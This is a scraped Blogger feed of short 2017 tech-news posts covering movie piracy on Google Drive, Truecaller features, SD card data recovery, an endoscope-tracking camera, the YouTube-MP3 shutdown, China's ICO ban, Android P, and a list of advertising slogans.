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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_6RUYFYyc_5rFWa5M2qzEKIGosU0cgTlBSkn1871BxWovZUqeut1_qyHCeMH37jgs6aFn0AsSOCs0qey3xdvAhCX8PUABhCRJf7RgAmiCgDPOQ7Lvsy19pEBPS7p1OjV6o_oVOvIcDAtu/s1600/images+%25285%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="How Google Drive is turning out to be a popular The Pirate Bay alternative to torrenters" border="0" data-original-height="168" data-original-width="300" height="224" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_6RUYFYyc_5rFWa5M2qzEKIGosU0cgTlBSkn1871BxWovZUqeut1_qyHCeMH37jgs6aFn0AsSOCs0qey3xdvAhCX8PUABhCRJf7RgAmiCgDPOQ7Lvsy19pEBPS7p1OjV6o_oVOvIcDAtu/s400/images+%25285%2529.jpg" title="How Google Drive is turning out to be a popular The Pirate Bay alternative to torrenters" width="400" /></a></div>
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If you have been following Game of Thrones Season 7 leaks, you would have noticed that the GoT S07E04 was leaked not on a torrent website but on Google Drive. And before Google could take action and remove the GoT Episode from their drives, many hackers had already copied it and then leaked it onto the torrent websites.</div>
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With the fall of Extratorrent, KickassTorrents, Torrentz.eu and TorrentHound, the pirating community is looking for ways and means to bypass the strict scrutiny both from authorities as well as media companies. While the old guard of The Pirate Bay is still there to hold the fort, hackers and pirates have found a new way to leak movies and TV shows.</div>
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As already pointed above, GoT Season 7 Episode 4 was first leaked on to Google Drive and this seems to be the flavour of the season for torrents community. According to Lumen report, Hollywood studios and other media companies have filed nearly 5,000 takedown requests for files hosted Google Drive.</div>
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Why Google Drive as The Pirate Bay?</div>
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Old timers will remember the times when pirates used Mega upload and other free file sharing services to distribute pirated content before the evolution of torrents and The Pirate Bay. The pirates used to break movies and TV shows into separate files and distribute them through free file sharing websites like File Hippo etc. However, these files sharing websites died a natural death with the advent of torrent websites like The Pirate Bay, ExtraTorrent, KickassTorrents etc.</div>
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But now the pirates seem to return to the roots to bypass the extreme scrutiny both from law enforcement authorities, movie studios and anti-piracy groups and distribute the latest movies and TV shows. Cloud storage services such as Google Drive, Dropbox, and Kim Dotcom’s Mega are some of the popular ones that are being used to distribute copyrighted content, according to DMCA takedown requests</div>
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From the reports posted on Lumen Database, it can be seen that the movie pirates seemed to have found an easy way to bypass the extensive scrutiny because it shows each movie or TV show having been hosted on different Google Drive accounts.</div>
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Another workaround developed by the movie and TV show pirates is to upload a blank video on YouTube with the name of the latest movie and merely share empty links with the embedded YouTube video to avoid detection. Another way the pirates operate is by uploading videos as unlisted, so they don’t turn up in search results. The links to these videos are then shared as Google Drive links through discussion forums, Facebook Groups, and other channels so it’s difficult for the content owners to find the videos and get them taken down.</div>
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Google is trying to be one up on the pirates by introducing novel ways to catch them. One such tool introduced earlier this year by Google called hash matching, a mechanism to detect infringing content. But looking at the Lumen database reports, it is evident that Google’s hash matching has failed to curb piracy on its own drives.</div>
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So the next time you want to download the torrent for your favourite latest movie, you know Google Drive is there for you!!!</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-2851850628092748402017-09-07T01:00:00.000+05:302017-09-07T01:00:59.536+05:30Truecaller is set to roll out two new features in its app this week — Number Scanner and Fast Track numbers.<div dir="ltr" style="text-align: left;" trbidi="on">
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Truecaller to roll out Number Scanner and Fast Track features on its app this week.</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitFZjr8zfg2TapPGkSea4ZCX-h2rCQ3AwVNeiSplt0rKsj4F_RCUOpsIQTwjoQMcfHnMH4dGSCXbNLkjQwrcziHKri1WEEavkdRanP1wRE1zipMREbhsNChWTBH16uIEfdEdUl00eF2Hw5/s1600/111.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Truecaller is set to roll out two new features in its app this week — Number Scanner and Fast Track numbers." border="0" data-original-height="145" data-original-width="348" height="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitFZjr8zfg2TapPGkSea4ZCX-h2rCQ3AwVNeiSplt0rKsj4F_RCUOpsIQTwjoQMcfHnMH4dGSCXbNLkjQwrcziHKri1WEEavkdRanP1wRE1zipMREbhsNChWTBH16uIEfdEdUl00eF2Hw5/s400/111.jpg" title="Truecaller is set to roll out two new features in its app this week — Number Scanner and Fast Track numbers." width="400" /></a></div>
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The Number Scanner will let users scan a number directly from business cards, websites, street signs, shop fronts or any other place, eliminating the need for manual entry to look up or store a number in the contacts list.</div>
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The feature can also be used to scan numbers, instead of QR codes, to pay directly using Truecaller Pay, the app's payment platform.</div>
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"When you see an important phone number, you can directly pull it into your phone with Truecaller and use it in seconds to connect or make a payment," said Narayan Babu, Director, Product and Engineering, Truecaller, in a statement.</div>
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The Fast Track numbers, which will only be available in India, is a service which integrates toll-free emergency numbers for services like police, fire, medical care, women's helpline, roadside assistance as well as other essential categories to provide accessibility without an internet connection.</div>
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"During critical moments, you can reach out to the right company, person or service with a single tap with Fast track numbers," Babu added. Located in the search bar, the inbuilt contacts will help users make phone calls at critical moments with a single tap.</div>
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Last month, the company integrated with video calling app Google Duo to allow users to make video calls directly through the Truecaller app.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-63737193728273683802017-09-06T19:00:00.000+05:302017-09-06T19:00:16.359+05:30Here’s how you can recover files from a corrupt/damaged SD card<div dir="ltr" style="text-align: left;" trbidi="on">
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How to recover photos and videos from a corrupt or damaged MicroSD card</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi01-t8fo77akllPWkOzJy0WD1A65uk9SYyKOXA0SDhZ869Y9E8Zx1VnIoHE5Kh57u9rsfqlTXgNhgqTtz58ae3fNh3wByYN-uAYLHm2fpcfdv3BPalPfRmOepnQQxVmv2-M-3lQeH_GgFU/s1600/images+%25284%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Here’s how you can recover files from a corrupt/damaged SD card" border="0" data-original-height="168" data-original-width="300" height="224" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi01-t8fo77akllPWkOzJy0WD1A65uk9SYyKOXA0SDhZ869Y9E8Zx1VnIoHE5Kh57u9rsfqlTXgNhgqTtz58ae3fNh3wByYN-uAYLHm2fpcfdv3BPalPfRmOepnQQxVmv2-M-3lQeH_GgFU/s400/images+%25284%2529.jpg" title="Here’s how you can recover files from a corrupt/damaged SD card" width="400" /></a></div>
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SD cards have become the most convenient mode for data storage in devices such as smartphones, tablets, digital cameras, etc., as they are not only small in size but also light-weight and versatile. They can be used to store important files, images, and videos.But during the course of their use sometimes you are unable to access the files/images/videos or music stored on them. This happens because the data on SD cards gets accidentally deleted, or corrupted, formatted or damaged, and all the stored documents, photos, videos, and the music gets wiped off.</div>
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Such situations can be nightmarish and heart wrenching for the user. The very thought of losing important files/videos/images/music can be scary, but thankfully there are ways that can help you recover your data from the corrupted or damaged SD card.</div>
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In this article, we will provide tips on how you can recover files including photos, videos, and documents. You can reinstall lost apps and, if they come from a legal source, music files can be replaced free of charge.</div>
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Things you need to do before you start:-</div>
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1. Refrain from formatting the SD card, if you want to retain any of the photos on it.</div>
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2. Try using a different card reader. For instance, if you have inserted an SD card into your laptop or PC’s built-in slot and nothing is happening, then try using a different computer or a USB card reader. There are chances that the reader could be at fault and not the card. If this is the case, then look to buy a USB SD card reader online that accepts both microSD and standard SD cards.</div>
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File recovery software</div>
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There are several free SD card recovery software available in the market that claim to recover from corrupt or ‘dead’ memory cards. We have explained step by step how to use free EaseUS Data Recovery Wizard that helps you to easily and quickly get lost data back from memory card, Micro SD card, CF card or SDHC card etc. This SD card recovery tool can be applied to recover deleted, formatted, corrupted or lost pictures, music files, videos and other more important data.</div>
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If you are not comfortable using EaseUS Data Recovery Wizard, then you can try any other file recovery apps including MiniTool Data Recovery.</div>
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Points to remember:-</div>
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• Using such software does not guarantee the restoration of your lost files, as in some cases the original names of the file may be lost, while in some you may be able to rename the recovered files with no problem.</div>
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• Also, note that some free recovery programs have a limit on the number of files or amount of data they will recover. Therefore, check for any limitations before downloading. For instance, in the case of EaseUS Data Recovery Wizard, if your lost SD card files or data are more than 2GB, then you need to upgrade this free SD card recovery software into a pro version (EaseUS Data Recovery Wizard Pro) so that you can restore as many files as you want.</div>
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• Beware of additional unwanted programs that may get installed along with the free SD card recovery software. Never use the ‘Recommended’ installation option. Always, select ‘Manual’ and read each screen carefully, and opt out of search bars and other software.</div>
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Another free recovery program is ZAR (Zero Assumption Recovery), which is a comprehensive read-only data recovery solution. ZAR tools extract data from the damaged HDD to another medium (typically an additional HDD), leaving the original disk intact. Typical recoverable damage profiles include volumes accidentally formatted, corrupted by a virus or ill-behaved software, due to power failure or as a side effect of overclocking and so on.</div>
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How to install ZAR:-</div>
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1. Go to the ZAR website, click on the ZAR Download page, and download the installer for General File Recovery (there should be a file named zarXXsetup.exe where XX = the current version number).</div>
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2. Then insert the damaged SD card into your PC’s card reader and launch ZAR. (Since you may have to disable your PC’s security software, it is recommended that you disable the internet connection also).</div>
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3. When prompted, click the Image Recovery (Free) option. This will help you to recover photos from an SD card.</div>
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4. ZAR will now search for installed devices. You need to point it towards the offending SD card, choose the correct disk and click ‘Next’. ZAR will now analyse your SD card, which may take a few minutes.</div>
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5. Once completed, a list of all the recovered files will show up. On most of the SD cards, there are chances that clicking the ‘Root’ checkbox will choose all the images.</div>
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6. Click Next, and you can then choose the folder to place the recovered files. By default, this will be the same as the folder you have selected to save (so ‘Root’, in all likelihood).</div>
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7. Remember to select a destination folder for the recovered files when prompted for it. Ensure that you select the one on your PC’s hard disk and not the one on the corrupt SD card, since that won’t work.</div>
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8. Allow a few minutes for the files to copy on the destination folder. Once completed, go to the destination folder that you have chosen. You should be able to find most if not all of the files that you wanted to recover. There are chances that original names of the file may be lost, so you may have to rename them which could include adding a file extension so they are correctly recognised by Windows.</div>
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Tips for fixing a dead SD card:-</div>
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An SD card can be damaged in many ways making it difficult to access the data. For instance, the thin plastic shells of the standard size SD cards make them fragile and can be easily broken or damaged if carried unprotected in pocket or bag. Or at times, the little write-protection switch can fall out, making it difficult for the SD card to work in a camera or any other device that needs to be able to write to it.</div>
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In this state, regardless of the reason behind an SD card being write-protected, you won’t be able to delete the files, since the file allocation table needs to be changed and this involves writing to the card.</div>
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If your card is physically ok, and the switch (where present) is in the ‘unlocked’ position, you can try one of Windows’ built-in tools to attempt to fix it.</div>
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Depending on whether your card appears in Windows Explorer or not, your options will vary. If it does, right-click on it, choose Properties, then the Tools tab. Click on Check and Windows will scan the card for errors and try to fix them. However, if the SD card doesn’t appear in Explorer, search the Start menu for Disk Management.</div>
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In this tool, you can see which drives Windows can ‘see’ and the list can include drives which don’t have a drive letter. If you can’t identify your SD card in the list of drives, it’s either completely dead or the card reader isn’t working properly (perhaps due to a problem with drivers).</div>
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If the SD card is there, but without a drive letter, you should be able to right-click on it and use the available options to give it a drive letter or format it to a file system that Windows can read and can then allocate a letter.</div>
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Recovering the lost/corrupted data on an SD Card using ES File Explorer</div>
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An App called ES File Explorer is powerful enough to recover certain kinds of files including images, videos and music files. ES File Explorer is available for both Android smartphones and iPhone/iPad. The only problem with ES File Explorer is that if you don’t have a rooted Android smartphone or a jailbroken iPhone/iPad, it won’t let you copy the recovered files to a different location on the smartphone. A workaround for this is to use an OTG connected Pendrive and copy such corrupt photos, music, and videos to the USB stick. If you own a rooted Android smartphone or a jailbroken iPhone/iPad, you can do pretty much anything with ES File Explorer.</div>
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The above methods can recover data from almost any corrupted/damaged MicroSD card, however, some SD cards may be damaged beyond repair and data on such cards may be completely lost forever.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-51150212111736375722017-09-06T03:00:00.000+05:302017-09-06T03:00:16.499+05:30A Camera That Can See Through The Human Body<div dir="ltr" style="text-align: left;" trbidi="on">
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Medical devices that scan every part of our body have come a long way. But a team of scientists have come up with one that can see right through the human body. </h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6zRNIkHeaNVEfQ9iBd1WUyha9RE46RRNeFj0puSBQXVFyph1f3EKUIqwC-Cn6qjLJn45BWigRSkaDyFssLtEtReIwcw7Q2Q_mQidB9qwPzmTql6pT5k3vRWZ4rg_byMP58OvwznG-w49g/s1600/images+%25283%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="A Camera That Can See Through The Human Body" border="0" data-original-height="194" data-original-width="259" height="298" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6zRNIkHeaNVEfQ9iBd1WUyha9RE46RRNeFj0puSBQXVFyph1f3EKUIqwC-Cn6qjLJn45BWigRSkaDyFssLtEtReIwcw7Q2Q_mQidB9qwPzmTql6pT5k3vRWZ4rg_byMP58OvwznG-w49g/s400/images+%25283%2529.jpg" title="A Camera That Can See Through The Human Body" width="400" /></a></div>
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The camera detects sources of light within the body to see through structures inside the body—as far as 20cm deep within our tissues. </div>
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The camera is designed to help doctors track medical tools known as endoscopes that are used to investigate a range of internal conditions. The new device is able to detect sources of light inside the body, such as the illuminated tip of the endoscope's long flexible tube.</div>
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Until now, it has not been possible to track where an endoscope is located in the body in order to guide it to the right place without using X-rays or other expensive methods.</div>
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Light from the endoscope can pass through the body, but it usually scatters or bounces off tissues and organs rather than travelling straight through. This makes it nearly impossible to get a clear picture of where the endoscope is. </div>
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The technology is so sensitive that it can detect the tiny traces of light that pass through the body's tissue from the light of the endoscope. The new camera takes advantage of advanced technology that can detect individual particles of light, called photons. Experts have integrated thousands of single photon detectors onto a silicon chip, similar to that found in a digital camera.</div>
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The project—led by the University of Edinburgh and Heriot-Watt University—is part of the Proteus Interdisciplinary Research Collaboration, which is developing a range of revolutionary new technologies for diagnosing and treating lung diseases.</div>
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Kev Dhaliwal of the University of Edinburgh said: "This is an enabling technology that allows us to see through the human body. It has immense potential for diverse applications such as the one described in this work. The ability to see a device's location is crucial for many applications in healthcare, as we move forwards with minimally invasive approaches to treating disease."</div>
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Dr Michael Tanner of Heriot-Watt University said: "My favourite element of this work was the ability to work with clinicians to understand a practical healthcare challenge, then tailor advanced technologies and principles that would not normally make it out of a physics lab to solve real problems. I hope we can continue this interdisciplinary approach to make a real difference in healthcare technology."</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-70158260309144026352017-09-06T01:00:00.000+05:302017-09-06T01:00:07.133+05:30The World’s Largest YouTube-to-MP3 Converter Is Getting Shut Down<div dir="ltr" style="text-align: left;" trbidi="on">
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After a lengthy courtroom battle, the largest YouTube to MP3 stream ripper has agreed to take the full blame for copyright infringement.</h3>
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Each day, millions of people head to <a href="http://youtube-mp3.org/" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0.3); box-sizing: border-box; color: #0298d8; text-decoration-line: none;">YouTube-mp3.org</a> to rip their favorite videos into MP3 files. Now, in a proposed settlement agreement, site owner Philip Matesanz has agreed to shut down the popular site.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD4lQVvtRAbY6nCoAduCLpJq4uDkZDceFltGldosS273CvX5VgzDsHcY5tTnY_XIJRNRO5NYBQiTywHf6SdcJdJxYw_Z5OlwtgOhboDfnmKbX92oCaEqdLOCA1B-IaUvaoaf81vqRb93Z1/s1600/download.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="The World’s Largest YouTube-to-MP3 Converter Is Getting Shut Down" border="0" data-original-height="164" data-original-width="308" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD4lQVvtRAbY6nCoAduCLpJq4uDkZDceFltGldosS273CvX5VgzDsHcY5tTnY_XIJRNRO5NYBQiTywHf6SdcJdJxYw_Z5OlwtgOhboDfnmKbX92oCaEqdLOCA1B-IaUvaoaf81vqRb93Z1/s400/download.png" title="The World’s Largest YouTube-to-MP3 Converter Is Getting Shut Down" width="400" /></a></div>
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<span style="background-color: transparent;">The operators of YouTube-MP3.org, a popular website for turning the audio tracks of YouTube videos into MP3s, have agreed to shut down the site and hand over the domain to the RIAA. This predictable outcome comes after 15 of the world’s largest record companies filed a complaint in a California court. Poor little YouTube-MP3.org never had a chance.</span></div>
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It’s actually remarkable that YouTube-MP3.org even survived this long. The website’s sole purpose is enabling users to download audio tracks that they don’t have permission to download. This practice is commonly known as “stream ripping,” and record companies have said that it’s bigger than piracy. In the case of, say, the latest Taylor Swift single (which is awful by the way), YouTube-MP3.org lets you rip the song in a matter of seconds. No need to buy it on iTunes or, God forbid, at a record store. Everything is free on the internet.</div>
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Until it’s not. While YouTube-MP3.org is hardly the only stream ripping service on the internet, it is one of the most popular. According to Alexa traffic statistics, YouTube-MP3.org has been in the top 400 most visited websites in the world for well over a year. This might be why record companies decided to take YouTube-MP3.org to court. And just to drive this point home: YouTube-MP3.org never had a chance. Faced with the armies of lawyers that companies like Capitol Records, Sony Music, and Warner Brothers Records can employ, a simple little website like this one would be lucky to last a week.</div>
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It’s been almost year, however, since the consortium of record companies first sued YouTube-MP3.org. In the end, the parties decided on a settlement rather than letting a judge decide the website’s fate. In addition to shutting down YouTube-MP3.org and handing over its domain, a proposed final judgement submitted Friday states the owners of the site will pay the record companies an undisclosed sum and refrain from “knowingly designing, developing, offering, or operating” any other infringing stream ripping service.</div>
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For now, YouTube-MP3.org is still up, although its closure is surely imminent. That means users will have a few more hours or even days to download free music from YouTube. And once YouTube-MP3.org goes away, they’ll have to use another service until that one gets shut down by the record companies. The RIAA can play this game of whack-a-mole forever. After all, it’s been doing this since the Napster days.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-1834939413032135492017-09-05T20:00:00.000+05:302017-09-05T20:00:22.831+05:30China bans initial coin offerings(ICO) sending bitcoin price tumbling as central bank rules them illegal.<div dir="ltr" style="text-align: left;" trbidi="on">
China on Monday banned and deemed illegal the practice of raising funds through launches of token-based digital currencies.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho13n5SuyXIp988cidI5M-oX4BObNakYN2xjhwLDzblAFPewMbcR-3Z-ojxLXBCYxXcxSqQ-5R5uMJ-hYGFeFXmBI85bOelgvOmfmKpWtp9jrJNGXs_yWDgND1rC7N5HQbLHLskGoKO_Vf/s1600/images+%25282%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="China bans initial coin offerings(ICO) sending bitcoin price tumbling as central bank rules them illegal." border="0" data-original-height="168" data-original-width="300" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho13n5SuyXIp988cidI5M-oX4BObNakYN2xjhwLDzblAFPewMbcR-3Z-ojxLXBCYxXcxSqQ-5R5uMJ-hYGFeFXmBI85bOelgvOmfmKpWtp9jrJNGXs_yWDgND1rC7N5HQbLHLskGoKO_Vf/s400/images+%25282%2529.jpg" title="China bans initial coin offerings(ICO) sending bitcoin price tumbling as central bank rules them illegal." width="400" /></a></div>
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The move was targeted at so-called initial coin offerings (ICO) in a market that has exploded since the start of the year.<br />
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Bitcoin representational image. ReutersBitcoin representational image. Reuters<br />
ICOs have become a bonanza for digital currency entrepreneurs, globally and in China, and have provided the fuel for a rapid ascent in the value of cryptocurrencies this year that has driven fears of a bubble that could burst.<br />
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Individuals and organisations that have completed ICO fundraisings should make arrangements to return funds, said a joint statement from the People’s Bank of China (PBOC), the securities and banking regulators and other government departments that were posted on the central bank’s website.<br />
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In total, $2.32 billion has been raised through ICOs, with $2.16 billion of that being raised since the start of 2017, according to cryptocurrency analysis website Cryptocompare.<br />
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Bitcoin rival Ethereum, which token-issuers usually ask to be paid in and which has therefore seen unprecedented growth this year, fell sharply on the news, last trading down almost 20 percent on the day at $283, according to trade publication Coindesk.<br />
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Bitcoin was also down 8 percent, while the total value of all cryptocurrencies was down around 10 percent, according to industry website Coinmarketcap.com.<br />
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“The large price falls can be attributed to panic amongst traders and profit-taking,” said Cryptocompare founder Charles Hayter.<br />
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The rapid ascent of ICOs prompted the US Securities and Exchange Commission (SEC) to warn in July that some ICOs should be regulated like other securities. Singapore and Canada followed with similar warnings.<br />
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Zennon Kapron, director of the Shanghai-based financial technology consultancy Kapronasia, said he suspected regulators were putting the brakes on ICOs in order to better understand the phenomenon, but could ease off in the future.<br />
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“Regulators globally are struggling to understand what ICOs are, what the risks are, and how to ring-fence and regulate them,” he said.<br />
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“China, in many ways, is no different than the US or Singapore in saying, ok, we need to push back on these for now until we figure out how to deal with them...I think it will be slightly a temporary measure.”<br />
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“The music has stopped”<br />
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By creating and issuing digital tokens, entrepreneurs can raise large sums quickly — sometimes hundreds of millions of dollars in minutes — with little or no regulatory oversight. But unlike traditional fundraising, token holders are generally not given any share in the particular project, nor any security.<br />
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For the buyer, therefore, the main reason for buying these highly risky tokens is often simply a bet that their value will rise. Once the tokens have been issued they can be traded against other cryptocurrencies such as bitcoin, the first successful digital-only currency.<br />
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The popularity of coin offerings has surged in China this year.<br />
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In July, the state news agency Xinhua cited data from a government organisation that monitors online financial activity to report that there had been 65 ICOs so far during the year raising a combined CNY 2.62 billion ($394.6 million) from 105,000 individuals in the country.<br />
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Oliver Bussman, previously chief innovation officer at UBS and now president of the Switzerland-based “Crypto Valley Association” that promotes blockchain-based technology, said Chinese authorities had to be especially vigilant about protecting consumers because of the lack of financial advice in the country, compared with Europe or North America.<br />
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Reaction to the ban was swift online.<br />
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“The music has stopped,” said one member of a chat group on the social networking platform WeChat that was set up last week for an upcoming ICO for a fundraising platform called SelfSell.<br />
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“Hurry up and sell your bitcoin,” said another.<br />
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The organiser of the ICO project, who recently went on a six-city roadshow, said the project had been suspended.<br />
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But Bussman said that once there was some regulatory clarity, and once it had been worked out how to classify different types of ICO, the token-based fundraising would continue.<br />
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“The initial coin offering is a new business model leveraging blockchain technology and it will remain,” he said.<br />
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“This is not the end of the ICO — absolutely not.”</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-45156517437677937732017-09-04T21:00:00.000+05:302017-09-04T21:00:13.128+05:30Android P, Google have already started to work on it.<div dir="ltr" style="text-align: left;" trbidi="on">
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Google testing Android P on Pixel and Pixel XL smartphones</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD9hn3JOlBXnDsNF5CtEQR8GP65o_EfEdZpPZT3jy1XsgJBZDJFuJJxNCULEgJI4mnQZ_4OhYESrWFDP-HhvXvnvLKhULXbIMZdnjmdhYlyXGH9YIXh7b2BRwqbb8-rrv0C_hWUpFMEGL5/s1600/images+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Android P, Google have already started to work on it." border="0" data-original-height="162" data-original-width="310" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD9hn3JOlBXnDsNF5CtEQR8GP65o_EfEdZpPZT3jy1XsgJBZDJFuJJxNCULEgJI4mnQZ_4OhYESrWFDP-HhvXvnvLKhULXbIMZdnjmdhYlyXGH9YIXh7b2BRwqbb8-rrv0C_hWUpFMEGL5/s640/images+%25281%2529.jpg" title="Android P, Google have already started to work on it." width="640" /></a></div>
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Google, who recently unveiled the official name of Android O (Oreo) and started rolling out Android 8.0 Oreo OTA (over-the-air) updates to devices running the latest Android Nougat beta, has already started thinking about the future. Apparently, the search giant is working on the next build of Android, likely to be known as Android P.</div>
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As spotted by XDA Developers website, Google has opened a new tag in the AOSP (Android Open Source project) repository called as ‘master-p’, indicating the arrival of the upcoming version of Android 9.0. The codes indicate that Google has started to test out Android P or Android 9.0 on smartphones like the Google Pixel (sailfish) and Pixel XL (marlin).</div>
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The report adds that some of the changes made in the version_defaults.mk file mention PLATFORM_VERSION_CODENAME=P, TARGET_PRODUCT=marlin and TARGET_PLATFORM_VERSION=PPR1. One of the strings in the AOSP codes, which goes by the name, “master is P only, removing old values”, shows that the platform version was updated from 8.0.0 to P. All these changes and upgradation are a clear indication that Google is working on a new platform version.</div>
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Whether the Google developer team has developed Android 8.1 to launch for eligible devices or have they planned to release Android 9.0 directly, we will have to wait and watch.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-64331820694662506372017-09-04T19:00:00.000+05:302017-09-04T19:00:00.186+05:30Top advertising slogans of 2017,a complete list of international and Indian slogans to catch your eye.<div dir="ltr" style="text-align: left;" trbidi="on">
We here it all the time, sometimes on radio or television, some times on the huge billboards. Yes they are the ad jingles or ad slogans created by the creativity team for a particular brand. A ad slogan is often the first thing we remember about a particular product. For example when I utter the brand name <b>COCA COLA </b>you will instantaneously remember its ad slogan : <b>TASTE THE FEELING</b><br />
<img alt="Image result for coca cola taste the feeling" src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT8aufdWuNDS875bNrFK7UsByfhUACTFHwauRR8pPe5nQvmTE0V" /><br />
Ad slogans have been a very powerful tool for putting your product across for sales through ads. The thumb rule is that the catchier the slogan, the more the sales. I have tried to put together the best know slogans of various companies over the years by scouring the net and making it available for my readers. They may be helpful to you in your school project or very helpful to you if advertising is your future career option.<br />
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<b><span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Famous Advertising Slogan<o:p></o:p></span></b></div>
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<b><span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Product or Company<o:p></o:p></span></b></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Reach out and touch someone<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">AT&T<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Please don't squeeze the Charmin<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Charmin<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Where do you want to go today?<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Microsoft<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Life's Good<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">LG<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Neighbor's envy, owner's pride<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Onida TV in India<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Snap, Crackle, Pop<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Rice Krispies<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">The Real Thing<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Coca-Cola<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Where's the beef?<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Wendy's<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Be wise - Alkalize<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Alka Seltzer<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Sharp Minds, Sharp Products<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Sharp<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Finger lickin' good<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Kentucky Fried Chicken<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Connecting people<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Nokia<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">He Keeps Going and Going and ...<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Energizer Batteries<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Do you... Yahoo!?<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Wikipedia, the Free Encyclopedia<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Wikipedia<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Because you're worth it<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">L'Oreal<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Inspired Living<o:p></o:p></span></div>
